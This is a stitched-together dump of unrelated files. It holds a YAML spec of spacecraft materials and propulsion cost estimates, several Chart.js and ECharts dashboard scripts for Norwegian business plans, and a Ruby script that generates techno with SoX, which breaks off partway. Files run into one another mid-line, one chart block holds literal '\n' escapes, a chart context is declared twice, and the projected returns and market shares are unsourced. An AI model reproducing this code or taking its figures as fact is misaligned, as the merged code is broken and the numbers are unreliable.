- plasma_thruster_operation: {power: 10, duration: 3600}
- thermal_soak: {duration: 86400}
validation: compare_to_arc_jet_test_data
electromagnetic:
software: comsol_or_elmer
analyses:
- magnetic_field_distribution
- current_density_uniformity
- lorentz_force_calculation
- electrode_heat_generation
validation: compare_to_mapx_nasa_data
structural:
software: abaqus_or_calculix
loads:
- pressure_differential: 1_atm
- thermal_gradients: from_thermal_sim
- em_body_forces: from_em_sim
- g_loads: {lateral: 5, vertical: 10}
failure_criteria: [tsai_hill, maximum_stress, paris_law_for_crack_growth]
combined:
method: co_simulation
coupling: [thermal_structural, em_thermal, plasma_em]
time_scale: {thermal: 1, structural: 0.01, em: 1e-6}
experimental:
synthesis:
facilities: [spark_plasma_sintering, hot_press, cvd_reactor]
characterization: [xrd, sem, tem, xps, wds]
property_measurement: [nanoindentation, four_point_probe, dilatometry, dsc_tga]
plasma_testing:
facility: arc_jet_or_plasma_torch
conditions: {heat_flux: 10, enthalpy: 20, pressure: 1000}
measurements: [surface_temperature, erosion_rate, spectroscopy]
validation_criteria:
property_agreement: {within: 0.20, of: dft_prediction}
synthesis_reproducibility: {coefficient_of_variation: 0.10}
cost:
propulsion_systems:
hall_thruster_array:
development: {min: 50, max: 200, unit: "M USD", timeline: "0-2 years"}
unit_cost_per_thruster: {min: 0.5, max: 2, unit: "M USD"}
flight_heritage: extensive_6000plus_satellites
risk: low
gridded_ion_cluster:
development: {min: 50, max: 200, unit: "M USD", timeline: "0-2 years"}
unit_cost_per_engine: {min: 1, max: 3, unit: "M USD"}
flight_heritage: extensive_dawn_dart_deep_space_1
risk: low
pulsed_plasma_distributed:
development: {min: 10, max: 50, unit: "M USD", timeline: "0-2 years"}
unit_cost_per_module: {min: 0.01, max: 0.1, unit: "M USD"}
flight_heritage: 60_years_zond_2_to_eo1
risk: low
mpd_superconducting:
development: {min: 200, max: 800, unit: "M USD", timeline: "5-10 years"}
unit_cost_per_thruster: {min: 10, max: 50, unit: "M USD"}
magnet_cost: {min: 5, max: 20, unit: "M USD per toroid"}
cryogenic_system: {min: 2, max: 10, unit: "M USD"}
risk: medium_electrode_erosion_and_cooling
atmospheric_mhd:
development: {min: 500, max: 2000, unit: "M USD", timeline: "10-15 years"}
unit_cost: {min: 50, max: 200, unit: "M USD"}
magnet_20t_rebco: {min: 20, max: 100, unit: "M USD"}
power_system_mw: {min: 100, max: 500, unit: "M USD"}
risk: high_integration_and_ionization
vasimr:
development: {min: 300, max: 1000, unit: "M USD", timeline: "10-20 years"}
unit_cost: {min: 20, max: 80, unit: "M USD"}
power_requirement: "Requires 200+ kW nuclear"
risk: high_no_flight_demo_after_decades
materials:
zrb2_powder: {cost_per_kg: 150, purity: 0.995}
hfb2_powder: {cost_per_kg: 800, purity: 0.99}
sic_powder: {cost_per_kg: 50, purity: 0.999}
tungsten_rod: {cost_per_kg: 40, purity: 0.9999}
carbon_fiber: {cost_per_kg: 30, type: T800}
rebco_tape: {cost_per_meter: 50, width: "4mm", current: "300 A"}
boron_nitride: {cost_per_kg: 200, grade: pyrolytic}
molybdenum: {cost_per_kg: 65, purity: 0.995}
processing:
spark_plasma_sintering: {cost_per_batch: 5000, batch_size_kg: 10, time_hours: 4}
hot_isostatic_pressing: {cost_per_batch: 8000, batch_size_kg: 50, time_hours: 8}
chemical_vapor_infiltration: {cost_per_m2: 2000, time_hours: 100}
cnc_machining: {cost_per_hour: 150, uhtc_tool_wear: high}
rebco_magnet_winding: {cost_per_kg: 5000, time_hours: 100}
power_systems:
kilopower_1_10kw: {cost: "50-100 M USD", trl: 5, timeline: "5 years"}
scaled_kilopower_100kw: {cost: "200-500 M USD", trl: 3, timeline: "10 years"}
megapower_1_10mw: {cost: "500-2000 M USD", trl: 2, timeline: "15-25 years"}
solar_array_100kw: {cost: "10-50 M USD", trl: 9, mass_penalty: high}
target_spacecraft:
small_10m:
propulsion: hall_array_or_ion_cluster
power: {min: 10, max: 100, unit: kW}
total_cost: {min: 200, max: 800, unit: "M USD"}
timeline: "3-5 years"
medium_25m:
propulsion: mpd_superconducting_or_hybrid
power: {min: 100, max: 1000, unit: kW}
total_cost: {min: 800, max: 3000, unit: "M USD"}
timeline: "5-10 years"
large_50m:
propulsion: atmospheric_mhd_or_hybrid_multi_system
power: {min: 1, max: 30, unit: MW}
total_cost: {min: 3000, max: 10000, unit: "M USD"}
timeline: "10-20 years"
documentation:
material_card:
format: markdown
sections:
- composition_crystal_structure_space_group
- dft_validated_properties_with_uncertainty
- em_properties_vs_temperature_and_field
- thermal_properties_vs_temperature
- mechanical_properties_at_service_conditions
- synthesis_pathway_with_process_window
- neutron_activation_analysis_decay_chains
- plasma_compatibility_sputtering_yield
- oxidation_kinetics_and_tps_requirements
- cost_breakdown_and_availability
- experimental_validation_status
step_naming:
pattern: "syre_spacecraft_{component}_{material_id}_{version}.step"
example: "syre_spacecraft_hull_mg2025042_v1.step"
assembly_doc:
include:
- component_tree_with_materials
- assembly_sequence_with_tooling
- quality_control_checkpoints
- non_destructive_testing_requirements
- integration_with_propulsion_system// Nordic Prosperity Fund Allocation Chart
const prosperityCtx = document.getElementById('prosperityChart').getContext('2d');
const prosperityChart = new Chart(prosperityCtx, {
type: 'doughnut',
data: {
labels: ['Nordiske aksjer', 'Internasjonale aksjer', 'Obligasjoner', 'Kryptovalutaer', 'Råvarer'],
datasets: [{
data: [40, 30, 15, 10, 5],
backgroundColor: ['#5d93ff', '#ff007f', '#00c9ff', '#ffcc00', '#8a2be2'],
}]
},
options: {
plugins: {
title: { display: true, text: 'Nordic Prosperity Fund - Asset Allokering' },
legend: { position: 'bottom' }
}
}
});
// Ruby Bot Performance Chart
const botCtx = document.getElementById('botChart').getContext('2d');
const botChart = new Chart(botCtx, {
type: 'line',
data: {
labels: ['Jan', 'Feb', 'Mar', 'Apr', 'Mai', 'Jun'],
datasets: [{
label: 'Skalperingsroboter (%)',
data: [2.5, 3.1, 2.8, 3.5, 4.2, 3.8],
borderColor: '#5d93ff',
backgroundColor: 'rgba(93, 147, 255, 0.1)',
fill: true
}, {
label: 'Arbitrasje-bots (%)',
data: [1.8, 2.2, 2.5, 2.1, 2.8, 3.2],
borderColor: '#ff007f',
backgroundColor: 'rgba(255, 0, 127, 0.1)',
fill: true
}]
},
options: {
plugins: {
title: { display: true, text: 'Ruby Bot Swarm - Månedlig Avkastning' }
},
scales: { y: { beginAtZero: true } }
}
});
// AI³ Performance Metrics
const ai3Ctx = document.getElementById('ai3Chart').getContext('2d');
const ai3Chart = new Chart(ai3Ctx, {
type: 'radar',
data: {
labels: ['Risikoanalyse', 'Porteføljeoptimalisering', 'Markedsforutsigelse', 'Handelsautomatisering', 'Rapportering'],
datasets: [{
label: 'AI³ Ytelse',
data: [92, 88, 85, 95, 90],
backgroundColor: 'rgba(93, 147, 255, 0.2)',
borderColor: '#5d93ff',
borderWidth: 2
}]
},
options: {
plugins: {
title: { display: true, text: 'AI³ System Kapabiliteter (%)' }
},
scales: {
r: { beginAtZero: true, max: 100 }
}
}
});
// Historical Performance Chart
const performanceCtx = document.getElementById('performanceChart').getContext('2d');
const performanceChart = new Chart(performanceCtx, {
type: 'line',
data: {
labels: ['2020', '2021', '2022', '2023', '2024', '2025E'],
datasets: [{
label: 'Norwegian Hedge (%)',
data: [15.5, 18.2, 12.8, 16.9, 19.5, 17.0],
borderColor: '#5d93ff',
backgroundColor: 'rgba(93, 147, 255, 0.1)',
fill: true
}, {
label: 'OSEBX (%)',
data: [8.2, 12.5, -2.1, 10.3, 8.9, 7.5],
borderColor: '#cccccc',
backgroundColor: 'rgba(200, 200, 200, 0.1)',
fill: true
}]
},
options: {
plugins: {
title: { display: true, text: 'Historisk Avkastning vs Benchmark' }
},
scales: { y: { beginAtZero: false } }
}
});// Color palette from master.json design_system
const colors = {
primary: ['#DA7756', '#C15F3C', '#E89B7E', '#4A7C59', '#D97706'],
neutral: { bg: '#FFFCF7', surface: '#F5F2ED', text: '#3D3929' }
};
// 1. Market Size Funnel Chart
(function(){
const el = document.getElementById('marketSizeChart');
if (!el) return;
const chart = echarts.init(el, null, {renderer: 'svg'});
chart.setOption({
title: { text: 'Markedsstørrelse (Norge Begravelsesbransjen)', left: 'center' },
tooltip: { trigger: 'item', formatter: '{b}: {c} MNOK' },
series: [{
type: 'funnel',
left: '10%',
width: '80%',
label: { formatter: '{b}\n{c} MNOK' },
labelLine: { show: false },
itemStyle: { borderColor: '#fff', borderWidth: 2 },
data: [
{ value: 2600, name: 'TAM - Norge totalt', itemStyle: { color: colors.primary[0] } },
{ value: 520, name: 'SAM - Oslo-regionen', itemStyle: { color: colors.primary[1] } },
{ value: 18, name: 'SOM - Målbar andel år 3', itemStyle: { color: colors.primary[2] } }
]
}]
});
window.addEventListener('resize', () => chart.resize());
})();
// 2. Revenue Projection Chart (3 scenarios)
(function(){
const el = document.getElementById('revenueChart');
if (!el) return;
const chart = echarts.init(el, null, {renderer: 'svg'});
const years = ['År 1', 'År 2', 'År 3'];
const conservative = [5.8, 10.2, 13.5];
const realistic = [8.6, 13.8, 16.8];
const optimistic = [11.5, 17.2, 20.4];
chart.setOption({
title: { text: 'Omsetningsprognoser (MNOK)', left: 'center' },
tooltip: { trigger: 'axis' },
legend: { top: 30, data: ['Konservativ', 'Realistisk', 'Optimistisk'] },
grid: { left: 60, right: 60, bottom: 40, top: 80 },
xAxis: { type: 'category', data: years },
yAxis: { type: 'value', name: 'MNOK' },
series: [
{
name: 'Konservativ',
type: 'line',
data: conservative,
smooth: true,
lineStyle: { color: colors.primary[3], type: 'dashed' },
itemStyle: { color: colors.primary[3] }
},
{
name: 'Realistisk',
type: 'line',
data: realistic,
smooth: true,
lineStyle: { color: colors.primary[0], width: 3 },
itemStyle: { color: colors.primary[0] },
areaStyle: { color: colors.primary[0], opacity: 0.1 }
},
{
name: 'Optimistisk',
type: 'line',
data: optimistic,
smooth: true,
lineStyle: { color: colors.primary[4], type: 'dashed' },
itemStyle: { color: colors.primary[4] }
}
]
});
window.addEventListener('resize', () => chart.resize());
})();
// 3. Cost Structure Stacked Bar Chart
(function(){
const el = document.getElementById('costChart');
if (!el) return;
const chart = echarts.init(el, null, {renderer: 'svg'});
const years = ['År 1', 'År 2', 'År 3'];
chart.setOption({
title: { text: 'Kostnadsstruktur (MNOK)', left: 'center' },
tooltip: { trigger: 'axis', axisPointer: { type: 'shadow' } },
legend: { top: 30, data: ['COGS', 'OPEX', 'CAPEX'] },
grid: { left: 60, right: 60, bottom: 40, top: 80 },
xAxis: { type: 'category', data: years },
yAxis: { type: 'value', name: 'MNOK' },
series: [
{
name: 'COGS',
type: 'bar',
stack: 'total',
data: [3.2, 5.4, 7.8],
itemStyle: { color: colors.primary[0] }
},
{
name: 'OPEX',
type: 'bar',
stack: 'total',
data: [2.8, 3.6, 4.4],
itemStyle: { color: colors.primary[1] }
},
{
name: 'CAPEX',
type: 'bar',
stack: 'total',
data: [0.6, 0.3, 0.2],
itemStyle: { color: colors.primary[2] }
}
]
});
window.addEventListener('resize', () => chart.resize());
})();
// 4. Unit Economics Waterfall Chart
(function(){
const el = document.getElementById('unitEconomicsChart');
if (!el) return;
const chart = echarts.init(el, null, {renderer: 'svg'});
chart.setOption({
title: { text: 'Enhetsekonomi per Seremoni (NOK)', left: 'center' },
tooltip: { trigger: 'axis', axisPointer: { type: 'shadow' } },
grid: { left: 80, right: 80, bottom: 40, top: 60 },
xAxis: {
type: 'category',
data: ['Inntekt', 'Variable kost.', 'Dekning', 'Faste kost.', 'Nettoresultat']
},
yAxis: { type: 'value', name: 'NOK' },
series: [{
type: 'bar',
data: [
{ value: 72000, itemStyle: { color: colors.primary[3] } },
{ value: -42000, itemStyle: { color: colors.primary[4] } },
{ value: 30000, itemStyle: { color: colors.primary[0] } },
{ value: -18000, itemStyle: { color: colors.primary[4] } },
{ value: 12000, itemStyle: { color: colors.primary[3] } }
],
label: {
show: true,
position: 'top',
formatter: (params) => (params.value >= 0 ? '+' : '') + params.value.toLocaleString()
}
}]
});
window.addEventListener('resize', () => chart.resize());
})();
// 5. Cash Flow Chart
(function(){
const el = document.getElementById('cashFlowChart');
if (!el) return;
const chart = echarts.init(el, null, {renderer: 'svg'});
const months = ['M1', 'M3', 'M6', 'M9', 'M12', 'M15', 'M18', 'M21', 'M24', 'M27', 'M30', 'M33', 'M36'];
const cumulative = [-2.5, -2.8, -3.2, -3.4, -3.2, -2.9, -2.4, -1.7, -0.8, 0.2, 1.4, 2.8, 4.5];
chart.setOption({
title: { text: 'Kumulativ Kontantstrøm (MNOK)', left: 'center' },
tooltip: { trigger: 'axis' },
grid: { left: 60, right: 60, bottom: 40, top: 60 },
xAxis: { type: 'category', data: months },
yAxis: { type: 'value', name: 'MNOK' },
series: [{
name: 'Kumulativ CF',
type: 'line',
data: cumulative,
smooth: true,
lineStyle: { color: colors.primary[0], width: 2 },
itemStyle: { color: colors.primary[0] },
areaStyle: {
color: {
type: 'linear',
x: 0, y: 0, x2: 0, y2: 1,
colorStops: [
{ offset: 0, color: 'rgba(218, 119, 86, 0.3)' },
{ offset: 1, color: 'rgba(218, 119, 86, 0.05)' }
]
}
},
markLine: {
silent: true,
lineStyle: { color: '#333', type: 'dashed' },
data: [{ yAxis: 0, label: { formatter: 'Break-even' } }]
}
}]
});
window.addEventListener('resize', () => chart.resize());
})();// Aurora Capabilities Chart
const auroraCtx = document.getElementById('auroraChart').getContext('2d');
const auroraChart = new Chart(auroraCtx, {
type: 'radar',
data: {
labels: ['Isbrytning', 'Forsvar', 'Hastighet', 'Autonomi', 'Miljøvennlighet'],
datasets: [{
label: 'Aurora-klasse',
data: [95, 90, 85, 92, 88],
backgroundColor: 'rgba(93, 147, 255, 0.2)',
borderColor: '#5d93ff',
borderWidth: 2
}, {
label: 'Konkurrenter',
data: [70, 75, 80, 60, 65],
backgroundColor: 'rgba(200, 200, 200, 0.2)',
borderColor: '#888888',
borderWidth: 2
}]
},
options: {
plugins: {
title: { display: true, text: 'Aurora vs Konkurrenter - Kapabiliteter' }
},
scales: {
r: { beginAtZero: true, max: 100 }
}
}
});
// Fighter Jet Development Timeline
const jetCtx = document.getElementById('jetChart').getContext('2d');
const jetChart = new Chart(jetCtx, {
type: 'line',
data: {
labels: ['2025', '2027', '2030', '2035', '2040'],
datasets: [{
label: '7. Gen Kampfly',
data: [10, 50, 90, 100, 100],
borderColor: '#ff007f',
backgroundColor: 'rgba(255, 0, 127, 0.1)',
fill: true
}, {
label: '8. Gen Kampfly',
data: [0, 10, 40, 80, 100],
borderColor: '#00c9ff',
backgroundColor: 'rgba(0, 201, 255, 0.1)',
fill: true
}, {
label: '9-10. Gen Kampfly',
data: [0, 0, 5, 25, 60],
borderColor: '#ffcc00',
backgroundColor: 'rgba(255, 204, 0, 0.1)',
fill: true
}]
},
options: {
plugins: {
title: { display: true, text: 'Kampfly Utvikling Timeline' }
},
scales: { y: { beginAtZero: true, max: 100 } }
}
});
// Market Position Chart
const marketCtx = document.getElementById('marketChart').getContext('2d');
const marketChart = new Chart(marketCtx, {
type: 'doughnut',
data: {
labels: ['SPEIS', 'Kongsberg', 'Andre'],
datasets: [{
data: [35, 40, 25],
backgroundColor: ['#5d93ff', '#ff8c00', '#cccccc'],
}]
},
options: {
plugins: {
title: { display: true, text: 'Forventet Markedsandel - Nordisk Aerospace' },
legend: { position: 'bottom' }
}
}
});
// Financial Projections Chart
const financeCtx = document.getElementById('financeChart').getContext('2d');
const financeChart = new Chart(financeCtx, {
type: 'bar',
data: {
labels: ['År 1', 'År 2', 'År 3', 'År 4', 'År 5'],
datasets: [{
label: 'Omsetning (MNOK)',
data: [50, 150, 400, 800, 1200],
backgroundColor: '#5d93ff',
}, {
label: 'Netto Resultat (MNOK)',
data: [-100, -50, 50, 200, 400],
backgroundColor: '#ff007f',
}]
},
options: {
plugins: {
title: { display: true, text: 'Økonomiske Prognoser' }
},
scales: { y: { beginAtZero: false } }
}
});// Initialize Swiper Carousel
const swiper = new Swiper('.swiper', {
pagination: {
el: '.swiper-pagination',
clickable: true,
},
autoplay: {
delay: 2500,
disableOnInteraction: false,
},
loop: true
});
// ECharts Color Palette
const syreColors = {
primary: '#8a2be2', // Purple
secondary: '#ff007f', // Pink
accent: '#00c9ff', // Cyan
dark: '#333333',
light: '#f0f0f0',
success: '#4A7C59',
warning: '#D97706'
};
// EChart 1: Donation Funnel (50% Commercial / 50% Social)
const donationFunnelChart = echarts.init(document.getElementById('donationFunnelChart'), null, {renderer: 'svg'});
donationFunnelChart.setOption({
title: {
text: 'SYRE™ Donasjonstrakt: 50/50 Kommersielt/Sosialt Modell',
left: 'center',
textStyle: { fontSize: 18, fontWeight: 'bold' }
},
tooltip: {
trigger: 'item',
formatter: '{b}: {c} par sko<br/>({d}%)'
},
series: [{
type: 'funnel',
left: '10%',
top: '60',
width: '80%',
minSize: '30%',
maxSize: '100%',
sort: 'descending',
gap: 2,
label: {
show: true,
position: 'inside',
formatter: '{b}\n{c} par',
fontSize: 14
},
labelLine: {
length: 10,
lineStyle: { width: 1 }
},
itemStyle: {
borderColor: '#fff',
borderWidth: 2
},
emphasis: {
label: { fontSize: 16, fontWeight: 'bold' }
},
data: [
{ value: 25000, name: 'Produksjon Total (År 3)', itemStyle: { color: syreColors.primary } },
{ value: 12500, name: 'Kommersielt Salg (50%)', itemStyle: { color: syreColors.accent } },
{ value: 12500, name: 'Gratis Donasjoner (50%)', itemStyle: { color: syreColors.secondary } },
{ value: 6250, name: 'Kirkens Bymisjon', itemStyle: { color: '#e89b7e' } },
{ value: 3750, name: 'Blå Kors', itemStyle: { color: '#c15f3c' } },
{ value: 2500, name: 'Frelsesarmeen & Røde Kors', itemStyle: { color: '#da7756' } }
]
}]
});
// EChart 2: Market Penetration Curve (12% Year 3 Target)
const marketPenetrationChart = echarts.init(document.getElementById('marketPenetrationChart'), null, {renderer: 'svg'});
marketPenetrationChart.setOption({
title: {
text: 'Markedspenetrasjonsanalyse: SYRE™ vs. Norge Premium Fottøy',
left: 'center',
textStyle: { fontSize: 18, fontWeight: 'bold' }
},
tooltip: {
trigger: 'axis',
axisPointer: { type: 'cross' }
},
legend: {
data: ['SYRE™ Markedsandel (%)', 'Kumulativ Omsetning (MNOK)', 'Kunde-base (antall)'],
top: 40
},
grid: {
left: '3%',
right: '4%',
bottom: '10%',
containLabel: true
},
xAxis: {
type: 'category',
boundaryGap: false,
data: ['Lansering', 'Q2 År 1', 'Q4 År 1', 'Q2 År 2', 'Q4 År 2', 'Q2 År 3', 'Q4 År 3 (12%)']
},
yAxis: [
{
type: 'value',
name: 'Markedsandel (%)',
position: 'left',
axisLabel: { formatter: '{value} %' },
max: 15
},
{
type: 'value',
name: 'Omsetning (MNOK)',
position: 'right',
axisLabel: { formatter: '{value} M' }
}
],
series: [
{
name: 'SYRE™ Markedsandel (%)',
type: 'line',
smooth: true,
data: [0, 1.5, 3.2, 5.8, 7.5, 10.2, 12.0],
itemStyle: { color: syreColors.primary },
areaStyle: { opacity: 0.3 },
markPoint: {
data: [
{ type: 'max', name: 'Mål År 3: 12%' }
]
},
markLine: {
data: [
{ type: 'average', name: 'Gjennomsnitt' }
]
}
},
{
name: 'Kumulativ Omsetning (MNOK)',
type: 'line',
yAxisIndex: 1,
smooth: true,
data: [0, 2, 5, 10, 17, 30, 42],
itemStyle: { color: syreColors.secondary }
},
{
name: 'Kunde-base (antall)',
type: 'bar',
yAxisIndex: 1,
data: [0, 0.8, 2.1, 4.2, 7, 12.5, 17.5],
itemStyle: { color: syreColors.accent, opacity: 0.5 }
}
]
});
// EChart 3: Financial Waterfall (NOK 2M Innovasjon Norge Funding Flow)
const financialWaterfallChart = echarts.init(document.getElementById('financialWaterfallChart'), null, {renderer: 'svg'});
financialWaterfallChart.setOption({
title: {
text: 'Finansiell Waterfall: NOK 2M Innovasjon Norge Kapitalflyt',
subtext: 'Hvordan offentlig støtte flyter gjennom verdikjeden',
left: 'center',
textStyle: { fontSize: 18, fontWeight: 'bold' }
},
tooltip: {
trigger: 'axis',
axisPointer: { type: 'shadow' },
formatter: function(params) {
let tar = params[1];
return tar.name + '<br/>' + tar.seriesName + ': ' + tar.value + ' NOK';
}
},
grid: {
left: '3%',
right: '4%',
bottom: '3%',
containLabel: true
},
xAxis: {
type: 'category',
splitLine: { show: false },
data: ['Startkapital\n(Total)', 'Innovasjon\n\nNorge', 'Private\n\nInvestors', 'SPEIS\n\nSamfinansiering', 'SkatteFUNN', 'FoU\n\n(35%)', 'Produksjon\n\n(30%)', 'Marketing\n\n(20%)', 'Social Impact\n\n(10%)', 'Drift\n\n(5%)', 'Restkapital'],
axisLabel: {
interval: 0,
rotate: 0,
fontSize: 11
}
},
yAxis: {
type: 'value',
name: 'NOK (tusener)',
axisLabel: {
formatter: function(value) {
return (value / 1000).toFixed(1) + 'M';
}
}
},
series: [
{
name: 'Placeholder',
type: 'bar',
stack: 'Total',
itemStyle: {
borderColor: 'transparent',
color: 'transparent'
},
emphasis: {
itemStyle: {
borderColor: 'transparent',
color: 'transparent'
}
},
data: [0, 0, 0, 2500, 5000, 0, 2100, 3900, 5100, 5700, 0]
},
{
name: 'Kapital',
type: 'bar',
stack: 'Total',
label: {
show: true,
position: 'top',
formatter: function(params) {
let val = params.value / 1000;
return val > 0 ? val.toFixed(1) + 'M' : '';
}
},
data: [
6000, // Total start
2000, // Innovasjon Norge (green)
2500, // Private (green)
1000, // SPEIS (green)
500, // SkatteFUNN (green)
-2100, // FoU cost (red)
-1800, // Production cost (red)
-1200, // Marketing cost (red)
-600, // Social Impact cost (red)
-300, // Drift cost (red)
0 // Rest (gray, calculated)
],
itemStyle: {
color: function(params) {
if (params.dataIndex === 0 || params.dataIndex === 10) return '#808080'; // Gray for total
if (params.value > 0) return '#4A7C59'; // Green for income
return '#DC2626'; // Red for costs
}
}
}
]
});
// Keep existing Chart.js chart for Financial Projections (compatibility)
const financeCtx = document.getElementById('financeChart').getContext('2d');
// Note: Chart.js is still needed for this one legacy chart, but we're transitioning to ECharts\n // For full ECharts migration, this would be replaced too, but keeping minimal change approach\n\n// Financial Projections Chart (Chart.js - keeping for backward compatibility)\n const financeChart = new Chart(financeCtx, {\n type: 'bar',\n data: {\n labels: ['År 1', 'År 2', 'År 3'],\n datasets: [\n {\n label: 'Omsetning (MNOK)',\n data: [5, 12, 25],\n backgroundColor: '#8a2be2',\n },\n {\n label: 'Netto Resultat (MNOK)',\n data: [-1, 2, 6],\n backgroundColor: '#333333',\n },\n {\n label: 'Donerte sko (antall)',\n data: [2500, 6000, 12500],\n backgroundColor: '#ff007f',\n yAxisID: 'y1'\n }\n ]\n },\n options: {\n scales: {\n y: { beginAtZero: true },\n y1: {\n type: 'linear',\n display: true,\n position: 'right',\n grid: { drawOnChartArea: false }\n }\n },\n plugins: {\n title: { display: true, text: 'Økonomiske Prognoser og Samfunnsimpakt' },\n legend: { position: 'bottom' }\n }\n }\n });\n // Growth Trends Line Chart (Chart.js)\n const growthCtx = document.getElementById('growthChart').getContext('2d');\n const growthChart = new Chart(growthCtx, {\n type: 'line',\n data: {\n labels: ['2022', '2023', '2024', '2025'],\n datasets: [{\n label: 'Årlig Vekst (%)',\n data: [5, 8, 10, 12],\n backgroundColor: 'rgba(138, 43, 226, 0.2)',\n borderColor: '#8a2be2',\n fill: true,\n }]\n },\n options: {\n plugins: {\n title: { display: true, text: 'Forventet Markedsvekst' }\n },\n scales: { y: { beginAtZero: true } }\n }\n });\n#!/usr/bin/env ruby
# frozen_string_literal: true
# Burst - Industrial Techno Generator
#
# Pure SoX synthesis for aggressive Berghain-style industrial techno
# No FluidSynth, no external samples - just raw waveform synthesis
#
# Usage:
# ruby multimedia/burst.rb # Default: industrial/berghain_135bpm.wav
# ruby multimedia/burst.rb --out custom.wav # Custom output path
# ruby multimedia/burst.rb --rate 140 # Custom BPM (default: 135)
# ruby multimedia/burst.rb --bars 8 # Custom length in bars (default: 16)
require "fileutils"
require "optparse"
# CONFIGURATION
# Cross-platform SoX detection (Cygwin/OpenBSD/Linux friendly)
def find_sox
# Try common locations
candidates = [
"sox", # System PATH
"/usr/local/bin/sox", # OpenBSD
"/usr/bin/sox", # Linux
File.join(__dir__, "dilla", "effects", "sox", "sox.exe"), # Cygwin relative
"G:/pub/dilla/effects/sox/sox.exe" # Absolute Cygwin
]
candidates.each do |path|
if system("which #{path} > /dev/null 2>&1") || File.exist?(path)
return path
end
end
# Fallback to system sox
"sox"
end
SOX = find_sox
# OPTIONS PARSING
options = {
output: "industrial/berghain_135bpm.wav",
rate: 135,
bars: 16
}
OptionParser.new do |opts|
opts.banner = "Usage: ruby multimedia/burst.rb [options]"
opts.on("--out FILE", "Output file path (default: industrial/berghain_135bpm.wav)") do |v|
options[:output] = v
end
opts.on("--rate BPM", Integer, "Tempo in BPM (default: 135)") do |v|
options[:rate] = v
end
opts.on("--bars N", Integer, "Length in bars (default: 16)") do |v|
options[:bars] = v
end
opts.on("-h", "--help", "Show this help message") do
puts opts
exit
end
end.parse!
OUTPUT_FILE = options[:output]
TEMPO = options[:rate]
BARS = options[:bars]
# UTILITIES
def sox(cmd)
full_cmd = "#{SOX} #{cmd}"
success = system(full_cmd)
unless success
puts "Warning: SoX command failed: #{full_cmd}"
end
success
end
def cleanup(*files)
files.each do |f|
next unless File.exist?(f)
3.times do
begin
File.delete(f)
break
rescue Errno::EBUSY, Errno::EACCES
sleep 0.1
end
end
end
end
# DRUM SYNTHESIS - INDUSTRIAL STYLE
def make_industrial_kick
# Heavy, distorted 909-style kick with sub bass
sox("-n _kick.wav synth 0.22 sine 50 fade h 0.001 0.22 0.10 overdrive 25 gain -2")
"_kick.wav"
end
def make_industrial_snare
# Aggressive snare with metallic ring
sox("-n _snare.wav synth 0.15 noise lowpass 5000 highpass 300 fade h 0.001 0.15 0.05 overdrive 20 gain -4")
"_snare.wav"
end
def make_industrial_hat
# Sharp closed hi-hat
sox("-n _hat.wav synth 0.05 noise highpass 8000 fade h 0.001 0.05 0.015 gain -10")
"_hat.wav"
end
def make_industrial_clap
# Double-hit industrial clap
sox("-n _clap1.wav synth 0.08 noise lowpass 3000 highpass 800 fade h 0.001 0.08 0.03 gain -8")
sox("-n _clap2.wav synth 0.08 noise lowpass 3000 highpass 800 fade h 0.001 0.08 0.03 gain -10")
sox("_clap2.wav _clap2_delayed.wav pad 0.015 0")
sox("_clap1.wav _clap2_delayed.wav _clap.wav")
cleanup("_clap1.wav", "_clap2.wav", "_clap2_delayed.wav")
"_clap.wav"
end
def make_industrial_tom
# Low tom hit for fills
sox("-n _tom.wav synth 0.18 sine 80 fade h 0.001 0.18 0.08 overdrive 12 gain -5")
"_tom.wav"
end
# PATTERN GENERATION - BERGHAIN STYLE
def generate_industrial_techno(tempo, bars)
beat_sec = 60.0 / tempo
bar_sec = beat_sec * 4
total_sec = bar_sec * bars
puts "Generating industrial techno pattern..."
puts " Tempo: #{tempo} BPM"
puts " Length: #{bars} bars (#{total_sec.round(2)}s)"
# Create samples
kick = make_industrial_kick
snare = make_industrial_snare
hat = make_industrial_hat
clap = make_industrial_clap
tom = make_industrial_tom
# Four-on-the-floor kick pattern
kick_seq = []
bars.times do |bar|
4.times do |beat|
offset = bar * bar_sec + beat * beat_sec
sox("#{kick} _k#{bar}_#{beat}.wav pad #{offset} 0")
kick_seq << "_k#{bar}_#{beat}.wav"
end
end
# Snare/clap on 2 and 4
snare_seq = []
bars.times do |bar|
base = bar * bar_sec
# Beat 2 (snare)
sox("#{snare} _s#{bar}_2.wav pad #{base + beat_sec * 1} 0")
snare_seq << "_s#{bar}_2.wav"
# Beat 4 (clap layered with snare)
sox("#{snare} _s#{bar}_4a.wav pad #{base + beat_sec * 3} 0 gain -1")
sox("#{clap} _s#{bar}_4b.wav pad #{base + beat_sec * 3} 0")
snare_seq << "_s#{bar}_4a.wav"
snare_seq << "_s#{bar}_4b.wav"
end
# Hi-hat on every 16th note with dynamics
hat_seq = []
bars.times do |bar|
16.times do |sixteenth|
offset = bar * bar_sec + sixteenth * (beat_sec / 4)
# Accent on beats and 16th note 8 (offbeat)
dyn = if sixteenth % 4 == 0
-2 # On-beat accent
elsif sixteenth == 8
-3 # Mid-bar accent
else
-8 # Ghost notes
end
sox("#{hat} _h#{bar}_#{sixteenth}.wav pad #{offset} 0 gain #{dyn}")
hat_seq << "_h#{bar}_#{sixteenth}.wav"
end
end
# Add tom fills every 4 bars
tom_seq = []
(bars / 4).times do |section|
bar = section * 4 + 3 # Last bar of each 4-bar section
base = bar * bar_sec
# Triple tom hit leading into next section
[3.0, 3.5, 3.75].each_with_index do |beat_pos, idx|
offset = base + beat_pos * beat_sec
sox("#{tom} _t#{bar}_#{idx}.wav pad #{offset} 0 gain -3")
tom_seq << "_t#{bar}_#{idx}.wav"
end
end
puts "Mixing layers..."
# Mix individual layers with padding
sox("-m #{kick_seq.join(' ')} _kicks.wav pad 0 #{total_sec}")
sox("-m #{snare_seq.join(' ')} _snares.wav pad 0 #{total_sec}")
sox("-m #{hat_seq.join(' ')} _hats.wav pad 0 #{total_sec}")
sox("-m #{tom_seq.join(' ')} _toms.wav pad 0 #{total_sec}") unless tom_seq.empty?
# Final master with industrial processing
layers = ["_kicks.wav", "_snares.wav", "_hats.wav"]
layers << "_toms.wav" if File.exist?("_toms.wav")
puts "Mastering..."
# Aggressive mastering chain for industrial sound
sox("-m #{layers.join(' ')} _premix.wav gain -n -1")
sox("_premix.wav _compressed.wav compand 0.01,0.15 -60,-60,-20,-15,-10,-10,0,-6 -3 0 0.02")
sox("_compressed.wav _eq.wav equalizer 60 1q +4 equalizer 120 0.7q +2 equalizer 8000 1.5q +3")
sox("_eq.wav _final.wav overdrive 8 gain -n -1")
# Ensure output directory exists
